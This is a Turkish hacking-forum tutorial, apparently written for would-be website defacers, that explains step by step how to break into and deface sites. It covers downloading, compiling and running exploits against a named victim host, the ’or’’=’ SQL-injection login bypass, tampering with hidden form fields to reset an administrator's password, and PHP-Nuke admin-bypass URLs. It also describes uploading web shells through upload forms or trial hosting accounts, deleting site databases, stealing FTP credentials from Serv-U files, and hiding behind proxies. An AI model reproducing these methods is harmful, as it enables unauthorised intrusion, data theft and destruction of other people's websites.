Geniş EXPLOİT anlatımı
GENİŞ HACK ANLATIMI
Exploit meselesiyle başlayalım… Hack konusu içinde çok büyük bir önemi olan Exploit’ları en ince detayına kadar anlatmam mümkün değil, ama size mantığını ve konu hakkında bazı noktaları anlatacağım. (Konuyla ilgili herşey anlatılabilecek olsaydı, forumlarda “exploits/vulnerabilities” diye başlı-başına bir topic olur muydu?…).
Aslında hack’lenen sitelerin büyük bir bölümünün bu yöntemle indirildiğini söyleyen arkadaşlar da yok değil. Ben buna çok da inanmamakla beraber, başarılı ve “uzun ömürlü” bir “defancer” olmak isteyenlerin mutlaka ilgilenmeleri gereken bir konu olduğunu düşünüyorum bu konunun.
Neyse… Konuya geçelim… Exploit’lar sayesinde bir sitede veya bir hosting bilgisayarında en yetkili kişi olmak mümkün. Amacı bu. Sizi o sitede veya server’da en yetkili kişi (yönetici) yapmak. En yetkili kişi olunca da, o site veya server’daki tüm siteler konusunda her istediğinizi yapabilirsiniz.
Exploit’lar local ve remote olmak üzere iki şekilde yazılır. Local exploit’ları kullanabilmek için o hosting firmasında sizin de bir hesabınızın -yani bir sitenizin- olması gerekir. Local exploit’larla server’daki sitelerin hepsini hack’leyebilirsiniz. Remote exploit’ları kullanabilmek için server’da bir hesabınızın olması gerekmez, kendi bilgisayarınızda exploit’u çalıştırabilirsiniz. Tüm server değil, tek siteyi deface edersiniz… Aralarındaki fark bu…
Exploit’lar genelde derlenmesi gereken kodlardır. Bazen, nadiren de olsa online çalıştırabileceğiniz exploit’larda bulabilirsiniz. Meselâ aşağıda verdiğim exploit, online olarak çalıştırılabilir ve sizi PHP-Nuke 6.5 ile yapılmış sitelerde admin yapar. Link:
http://packetstormsecurity.nl/0310-…hp-nuke.6.5.php
Fakat çoğu exploit yukarıda verdiğim gibi online olarak, bir siteden çalıştırılamaz. Bunlar için önce hosting bilgisayarının, yani server’ın hangi işletim sistemini kullandığını öğrenmelisiniz. Bunun için www.netcraft.com sitesine gidip sol üst kısımdaki yere sitenin ismini yazarsınız. search dediğiniz zaman sitenin hangi işletim sistemi üzerinde çalıştığını öğrenirsiniz. Daha sonra da bu sistemin exploit’unu bulur, siteyi hack’lersiniz. İşletim sistemlerine göre exploit’ları, exploit portalı olarak adlandırabileceğim
www.packetstormsecurity.nl , www.phreak.org/html/exploits.shtml ve hack.co.za
gibi adreslerden bulup indirirsiniz veya google’da
işletim_sisteminin_adı exploit
şeklinde aramalar yaparak istediğiniz exploit’u çekebilirsiniz. Şunu da hatırlatayım; sizi bir sistemde en yetkili kişi yapan exploit, farklı sistemde işe yaramaz. Söz gelimi bir linux exploit’u windows NT’de iş görmez…
Exploit’lar genelde .C veya .PL uzantılıdır, bazıları ise çok az da olsa online çalıştırılabilir PHP dosyalarıdır, yukarıdaki örnekteki gibi… Önce ilgili exploit’u bilgisayarımıza download ediyoruz. Exploit’un uzantısı .c ise bunu shell’de derlememiz lazım. Shell nedir? Shell hesabı aldığınızda sürekli ve hızlı bir net bağlantısı olan bir makinede, linux komutları çalıştırabileceğiniz bir yeriniz olur. Biraz web sitesi mantığına benziyor. Web sitelerinde bir hosting alırsınız ve buraya dosyaları upload edebilirsiniz, Shell’de ise aldığınız yerde Linux komutları çalıştırabilirsiniz. Aralarında böyle bir benzerlik ve fark var. Tabii Shell’i daha da geniş anlatmak mümkün ama biz de zaten Shell’in Linux komutu çalıştırma özelliğinden faydalanarak exploit’ları derleyeceğiz.
Net’te bedava shell’ler var, fakat bu shell’lerin işimize yaraması çok zor. Çünkü içerikleri geniş tutulmaz bunların… O yüzden paralı shell alınması veya bilgisayarınıza Linux kurulması gerekebilir (veya bir arkadaşınızdan Shell hesabı bulabiliyorsanız bulun derim).
Varsayalım ki bir yerden işimize yarayabilecek, sağlam altyapılı bir shell temin ettik. Bunlarla exploit’larımızı şöyle derleriz:
Öncelikle indirdiğimiz exploit dosyasını -ismini değiştirmeden- bir web sitesine atıyoruz, Mynet, Websamba vs. olabilir. Sonra Shell hesabımıza Putty programını kullanarak bağlanıyoruz. Bu programın amacı kısaca Shell kurulu bilgisayarlara bağlanmaktır -Hani web sitelerinin FTP’sine ulaşmak için CuteFTP gibi programlar kullanıyoruz ya, bunu da bir nevi buna benzetebilirsiniz.-. Shell’e bağlandıktan sonra, şu komutu yazıyoruz:
wget http://exploit u_attiginiz_site/exploit_adi.c
Bu komutla shell exploit’u bünyesine çekecektir. Dosyanın çekilip çekilmediğini ls yazarak çıkan dosya listesinden exploit’un ismini görürseniz anlarsınız, çekilmiş demektir. Daha sonra şunu yazmalısınız:
gcc -o exploit exploit.c
Burada shell, exploit.c dosyasını derleyecek ve derlenmiş hâlinin adını exploit yapacaktır. Daha sonra bu exploit dosyasını:
./exploit
yazarak çalıştırabilirsiniz. Bunu yazdığınızda, karşınıza gelecek ekranda Exploit’un nasıl kullanılacağını anlatan yazılarla karşılaşacaksınız. Bu ekranı da okuyarak exploit’un nasıl çalıştırılacağını öğrenebilirsiniz ama, genelde exploit’lar:
./exploit -h hacklenecek_site
veya…
./exploit -i Hacklenecek_sitenin_IP’si
yazarak çalıştırılır. Burada yanlış anlaşılma olmasın, ./ işaretlerinden sonra exploit’un ismini yazacağız. Söz gelimi exploit’umuzun adı exp.c ise, gcc -o exp exp.c ve sonra da ./exp -h xxx gibi kullanmalısınız.
Bu arada server sahibi exploit’un önlemini aldıysa işe yaramazlar, tabii ki.
şimdi de çok kısa olarak PERL’de exploit derlemekten bahsedelim…
.PL uzantılı exploit’leri derleyebilmek için öncelikle Active PERL programını download etmelisiniz. Link:
http://aspn.activestate.com/ASPN/Downloads/ActivePerl/
Buradaki programı download ettikten sonra kuruyoruz. Kurulumu yarıda kesmeyin. Biraz uzun sürebilir.
Kurulum bittikten sonra, hack’lenecek sitenin host’unda kurulu olan sistemi öğreniyoruz ve exploit’unu buluyoruz. Sonra bu exploit’u c erl in klasörüne kopyalıyoruz. Bunu çalıştırmak için, MS-Dos Komut İstemi’ni açıyoruz ve orada c erl in klasörüne geçiyoruz. (“Nasıl geçeceğim?” gibi bir soruyu kabul etmiyorum . Hiç yoktan birazcık Dos temeliniz olsun arkadaşlar. Bilgisayardan hiç çakmayan arkadaşların bu konularla uğraşması ne denli doğrudur, bilmiyorum.) Ama hadi yazayım yine de: MS-DOS Komut İstemini açtığınızda, sizi otomatikmen C:windows klasörüne atar. Burada cd..perl in yazıp enter’layın. Bu komutla o klasörü açabilirsiniz.
Burayı açtıktan sonra Perl hazır hâle geliyor. Burada, şunu yazarak exploit’umuzu kullanılır hâle getiririz:
perl exploit.pl -h www.kurban.com
Enter’landığında, kurban server’ın açıkları kapanmamışsa, sitede en yetkili kişi olursunuz. Devamı ise exploit’un özelliklerine bağlı. Exploit’unuz nelere izin veriyorsa, onları yapabilirsiniz. Allah yardımcınız olsun .
Exploit konusunda anlatacaklarım bu kadar. Bazı arkadaşlar belki anlamamışlardır ama başta da söylediğim gibi anlatılması, programlama dillerinin mantığından ve shell, linux gibi konulardan bîhaber arkadaşlar için çok zor. Fakat yukarıdaki bölümün size yine de bir mantık vermiş, bir şeyler anlatmış olması gerekir diye düşünüyorum. Kafanıza takılanları sorarsanız -ben dahil- yardımcı olacak pek çok arkadaş çıkacaktır emin olun…
Hack yöntemlerinden birisi de ASP ve PHP gibi dillerin açıklarından faydalanmak. Bu açıklar sizi genelde Administrator seviyesine yükselten açıklar… Siteye Admin olarak girdiğinizde de zaten istediğinizi sistemden atın, istediğinizin şifresini alın, hatta sitenin ortasına “HaCKeD BY XXX” yazın… Bu tip açıklara biraz örnek vermek gerekirse:
’or’’=’ açığı: Önlemi alınmamışsa sizi administrator seviyesine yükselten bir açık. Üyelik sistemli ASP sitelerinde geçerli. Aslında sitede bir admin giriş yeri varsa ama bu sitenin direkt olarak anasayfasından ulaşılamıyorsa, yani index’te “admin girişi” diye bir yer görünmüyorsa, öncelikle site üzerinde manuel denemeler yapmalısınız. Örneğin siteadı/admin.asp , siteadi/login.asp , siteadi/forum/admin.asp , /admin/admin.asp, /admin/login.asp vs… Eğer tutturamazsanız, google.com’a gidip:
admin site: siteAdı.com
şeklinde bir arama yaparsanız, google sizin için sitede admin kelimesi geçen tüm sayfaları gösterecektir. Bunun dışında, aspindir.com gibi hazır kod sitelerinden download ettiğiniz script’leri incelerseniz, admin panelinin nerede tutulduğunu öğrenebilirsiniz. İşinize yarayabilir.
Bu bilgiden sonra, açığın nasıl kullanılacağını da kısaca yazalım. Kullanıcı adı/şifre girişi isteyen bir sitenin, bu bilgileri gireceğimiz formuna ulaşın (login form) ve aşağıdakileri ilgili kutuya yazın :
Kullanıcı adı: ’or’’=’
Şifre: ’or’’=’
Her iki kutucuğa da aynı şeyi yazıyoruz ve şansımız varsa sitede “hoppala” admin oluyoruz!
Formlardaki type=”Hidden” değerini sömürmek: Genelde ASP destekli üyelik sistemleri üzerinde çalışan sitelerdeki bir açık. *Yasak Kelime* abi, *Yasak Kelime*hacker’ken bu konuda uzun bir döküman yazmıştı (“inputlar ve veri doğrulama” isminde), onu özetlemek istiyorum.
Öncelikle üyelik sistemli bir siteye üye oluyoruz. Sonra kullanıcı adımızı kullanarak login oluyoruz. Çoğu sitede login olduktan sonra “bilgilerimi düzenle”, “profil düzenle” vs. linkler olur ve bu bölümden kişi kendine ait pek çok bilgisini, hatta kullanıcı adı ve şifresini bile değiştirebilir. İşte “profilimi düzenle” anlamına gelen linke tıklıyoruz ve sonra karşımıza bir form geliyor. Hemen “kaynağı görüntüle” diyoruz ve karşımıza aşağıdaki gibi bir form kaynak kodu geliyor:
<form action=”guncelle.asp” method=”post”>
<input type=”hidden” name=”islenecekkullaniciadi” value=”eski_kullanici_adiniz_burada_yaziyor_olmali”>
<br>Kullanıcı adı: <input type=”text” name=”yenikullaniciadi” value=”eski_kullanici_adiniz_burada_da_yaziyor_ama_degist irilebilir”>
<br>Şifreniz: <input type=”password” name=”yenisifre” value=”Burada_sifreniz_yaziyor_olmali”>
…..
<input type=”submit” value=”Bilgilerimi Güncelle”
</form>
Bu formda, action=”..” kısmında belirtilen dosya form bilgilerini güncelleyecek olan dosyadır. <input type=”hidden” yazan yerdeki kullanıcı adımız, type=”submit” değerinde belirttiğimiz “Bilgilerimi Güncelle” düğmesine basıldığında action’da belirttiğimiz guncelle.asp dosyası tarafından değiştirilecek. type=”text satırı ekrana bir kutucuk çıkartır ve bu örnekte bizden oraya yeni kullanıcı adımızın girilmesi isteniyor. type=”Password” de ise yine ekrana bir kutucuk çıkar ve bunun içine yazılan herşey **** şeklinde görünür, şifredir çünkü. Şimdi, tekrarlayalım; örnekteki hidden’da üzerinde oynama yapılacak kullanıcı adı, text’te yeni kullanıcı adı, ve password’de de değiştirilebilir şifre yazıyor…
O zaman, biz hidden=”…” bölümüne “administrator”ın sitede kullandığı nick’ini yazarsak, ne olur???
Admin’in ismini, cismini, mail adresini, en önemlisi de kullanıcı adı ve de şifresini değiştirebiliriz!..
Kaynağı Görüntüle dediğimiz sayfanın kodlarını kopyala/yapıştır’la not defterine atalım ve ilk önce action=”..” daki kısmın başına -eğer yoksa- http://www.hedeftekisite.com/varsa_alt_klasör/ ’u ekleyelim, sonra type=”hidden” name=”xxx” value=”xxx” yazan yere type=”hidden” name=”xxx” value=”admin’in_nick’i” yazalım, veya type=”hidden”’ı type=”text” şeklinde değiştirip, dosyayı .htm formatında kaydedelim. Eğer ikinci dediğimi yaparsanız, .htm uzantılı dosyayı çalıştırdığımızda karşımıza eski nick’imizin olduğu bir kutucuk daha çıkacak, oradaki yazıyı silip admin’in nick’ini yazmak yoluyla da bu işi hâlledebiliriz. Örneğin, oynama yaptığımızda kod şöyle olacak:
<form action=”http://www.hedeftekisite.com/guncelle.asp” method=”post”>
<input type=”hidden” name=”islenecekkullaniciadi” value=”Sitenin_Admin’inin_kullandigi_nick”> (Veya <input type=”text” name=”islenecekkullaniciadi” value=”adminin_nick’ini_buraya_yaz”> )
<input type=”text” name=”yenikullaniciadi” value=”adminin_nick’i_ne_olacaksa_onu_yazın”>
<input type=”password” name=”yenisifre” value=”adminin_sifresi_ne_olacaksa_onu_yazin”>
….
<input type=”submit” value=”Bilgilerimi Güncelle”></form>
Bilgileri, yukarıda belirttiğim şekilde değiştireceksiniz. Bu arada benim örnekte …. ile gösterdiğim yerde çeşitli kutucuklar daha olması lâzım, meselâ mail adresi, web sitesi gibi. Buraları da kendinize göre uyarlamalısınız. Tüm bunları yaptıktan sonra kaydettiğimiz ve üzerinde oynamalar yaptığımız .htm dosyasını çalıştırın, ilgili bilgileri girdikten sonra “bilgilerimi güncelle” düğmesine basın ve admin nick ve şifresini değiştirmiş olun! Geriye kalan, sadece bu değiştirdiğiniz kullanıcı adı ve şifreyle sitenin üye giriş formunu süslemek ve “gönder”e basmak…
Bu yöntemin çalışmama ihtimali var, bunun iki sebebi olabilir; birincisi bu üç-kâğıdın önlemi alınmıştır, ikincisi ise bir yanlışlık yaptınız, sitenin klasör düzeni uygunsuz veya formda ufak bir farklılık var. Bu ikinci nedeni HTML bilen arkadaşlar kolaylıkla atlatabilirler. Ben sadece örnek verdiğim için burada uzatmayacağım. Zaten anlamış olmanız lâzım…
Bir PHP-Nuke Açığı: PHP-Nuke eski versiyonlarında işleyen bir açık:
http://www.hedef.com/modules.php?na…me=kullaniciadi
Bunu adres bar’ınıza yazacaksınız ve sondaki kullaniciadi yerine Administrator’ın sitede kullandığı nick’i yazacaksınız. Belki tutar, eski PHP-Nuke sürümlerinde…
Bir PHP-Nuke açığı daha: www.hedef.com/modules/forums/admin/index.php
Nadiren de olsa sizi şifresiz olarak admin paneline sokabilir. Sonrası malum…
Açıklarla hacking’in temel mantığını anlamanız için bu kadar örnek yeterli. Birincisi açığını kullanacağınız dillerle ilgili iyi bir bilgi sahibi olmalısınız, ikincisi bildiklerinizi küçümsemeden -lamerlik-mamerlik demeden- yaratıcılığınızı kullanacaksınız ve üçüncüsü ise en yeni açıkları takip edeceksiniz. Bu tip açıkları, meselâ Cyber-security.org, olympos.org, * Yasak Kelime Kullandınız *.org, securityfocus.com gibi “Ben güvenlik portalıyım” diyen yerlerden öğrenebilirsiniz, çünkü bu siteler “bakın… böyle böyle bir açık var, bunu kapatmazsanız şöyle-böyle olur, o yüzden şu açığı şu şekilde kapatın” derken, aynı zamanda açığında ne olduğunu dile getirdiklerinden, çok faydalı olabilirler )…
Bir başka hack yöntemi ise Listpath kullanmaktır. Bunlar, server’daki klasör ve dosyaları görmemizi, onlar arasında dolaşmamızı ve onlar üzerinde bazı işlemler yapmamızı sağlayan ASP veya PHP dosyalarıdır. Bu dosyaları sitenin hosting’ine bir şekilde sızdırırız. Eğer hosting bilgisayarında, yani server’da FileSystemObject açığı varsa (tabii ki windows sistemlerde bu açık olabilir, linux’ta başka isimler alır bu açık), dosya silebilir, içeriklerini değiştirebilirsiniz.
Önce bu listpath’lerden birini bir bilgisayarın host’una yutturuyoruz. Bunun bazı yöntemleri var. İşte birkaçı:
* Brinkster, Websamba vs. gibi ASP desteği veren Web Sitelerinden kendimize bir hesap, yani bir beleş web sitesi açıyoruz. Sonra bir listpath upload ediyoruz ve browser’ın adres kısmına yolunu yazıp çalıştırıyoruz.
* Bazı sitelerde upload özelliği vardır. google’da inurl:upload filetype:asp gibi çeşitli aramalarla ASP dosyalarını upload’a izin veren yerlere listpath’’in adını değiştirerek upload edebiliriz (örneğin test.asp gibi. Dikkat çekmemesi için…) Upload ettikten sonra dosyanın yolunu yazar ve çalıştırırız *Yasak Kelime*i, veya diğer listpath programcıklarını…
* Hedefteki sitenin host firmasından deneme hostu alırız. Bazen gerek bile olmayabilir; zira FTP Kullanıcı adı: deneme şifre: deneme şeklinde hazır bir deneme hostu olabilir server’ın bünyesinde. Neyse… Siteye whois çekildiğinde, genelde en altta yazan ns1.xxx.com , ns2.xxx.com şeklindeki yerler hosting şirketinin sitesini verir. Buradan 1 aylık deneme hostu alır ve listPath’i yüklersiniz, sonra da paşa paşa çalıştırıp host’ta cirit atarsınız. Ya da para verip bir host alırsınız. (ASP destekli olmak zorunda)
Bu gibi yöntemlerle listpath’i upload ettikten sonra, yolunu yazarak çalıştırabiliriz. Kullanımları aslında listpath’ten listpath’e değişir ama genelde klasörler arasında dolaşabilmek için linkler bulunur, sürücülere ulaşmak için düğmeler bulunur ve dosyaları silip değiştirmek, (hatta *Yasak Kelime*li şekerde download etmek) için linkler bulunabilir, bunları artık siz listpath’ten öğrenebilirsiniz. Şöyle bir göz gezdirerek, neyin ne olduğunu anlarsınız zaten.
Şimdi de birkaç bilgi vereyim yine bu konuyla ilgili. Eğer bir yere ASP listpath’i yüklerseniz inetpub klasörüne ve oradan da wwwroot klasörüne gitmelisiniz. Genellikle burada tutulur sitelerin dosyaları… Eğer burada yoksa diğer dizinleri de deneyebilirsiniz. Ama elinizi mümkün olduğunca çabuk tutun ve mümkünse Proxy kullanarak IP’nizi gizleyin, her ihtimale karşı…
Hack’lemeyi plânladığınız bir sitenin dosyalarını silmeyi ve kendi dosyanızı upload etmeyi deneyin. Eğer olmazsa, o server’da FileSystemObject açığı yok demektir. O zaman size düşen, MDB dosyalarını bulmak. Bazı Listpath’lerde (meselâ *Yasak Kelime*liŞeker’de), dosya arama kutuları bulunur. Buralara mdb yazın ve çıkan dosyaları indirin. Eğer böyle bir şey yoksa sitenin klasörlerini karıştırmalısınız… Eski konularda MDB’lerle ne yapabileceğinizi anlatmıştım, isterseniz 1. ve 2. bölüme geri dönüp hatırlayabilirsiniz… Şunu da söyleyeyim, MDB’leri ille de download etmek zorunda değilsiniz, MDB dosyalarını silerseniz siteyi çalışmaz hâle getirrirsiniz. Bozarsınız yani…
Bunun dışında, c rogram filesserv-userv-u.ini dosyasını da download edip FTP kullanıcı adı ve şifrelerine de ulaşabiliriz. Bu da aklınızda bulunsun…
Aslında en iyi ve zevkli hack yöntemi bu tip listpath programlarını kullanmaktır bence.
ASP için *Yasak Kelime*li Şeker gibi Listpath’leri kullanabilirsiniz -ki en iyi ASP listpath’tir diyebilirim-. Bunun dışında PHP destekleyen server’lar için yapılmış listpath’lerde var. Burada link veremiyorum, yönetimden izin almaya vaktim olmadı, ama en azından isim vereyim, remView isimli bir PHP listpath var…
Evet arkadaşlar, herkesin yapabileceği, bir konu üzerinde uzmanlık ve fazlaca bilgi gerektirmeyen hacking yöntemleri kısaca bunlar. Bunlardan sonrası ise, üzerine ap-ayrı, başlı başına dökümanlar yazılabilecek uzun ve yeniler için anlaşılması zor konular. Ve bunun dışında, daha fazla ilerlemek için en azından JavaScript, ASP, PHP, CGI, PERL, C Dili, Unix/Linux, SQL, …. gibi konularda en azından temel bilginiz olması gerekiyor ki, tam anlamıyla kendinize “hacker” diyebilin. HTML zaten bilmek zorundasınız . Yoksa anlatılan bir çok şeyi anlayamamanız kuvvetle muhtemel.
Bu dökümanda size herkezin uygulayabileceği başlıca hacking yöntemlerini anlatmaya çalıştım ve mantığı kavratmak için bu kadar şey yazdım. Bundan sonrası sizin öğrendiklerinizi misyonumuz dahilinde -kesinlikle küçümsemeden- pratiğe dökmenize ve yukarıda saydığım konular hakkında bilgi toplamaya başlamanıza kalmış. Tekrar söylüyorum; öğrendiklerinizi pratiğe dökmek için çalışmanız çok önemli. CW bu konuda size önemli bir kaynaklık teşkil edecektir. Anlamadıklarınızı sormanız hâlinde size yardım edecek çok fazla insan var burada. Kıymetini bilin reshack´ın… Bu yöntemlerle de çok şeyler yapabilirsiniz aslına bakarsanız. Ama bilgisayar ve hacking konusunda ilerlemek isteyenlerin yukarıda saydığım konuların yanısıra programlama ile ilgili bilgi sahibi olması lazım…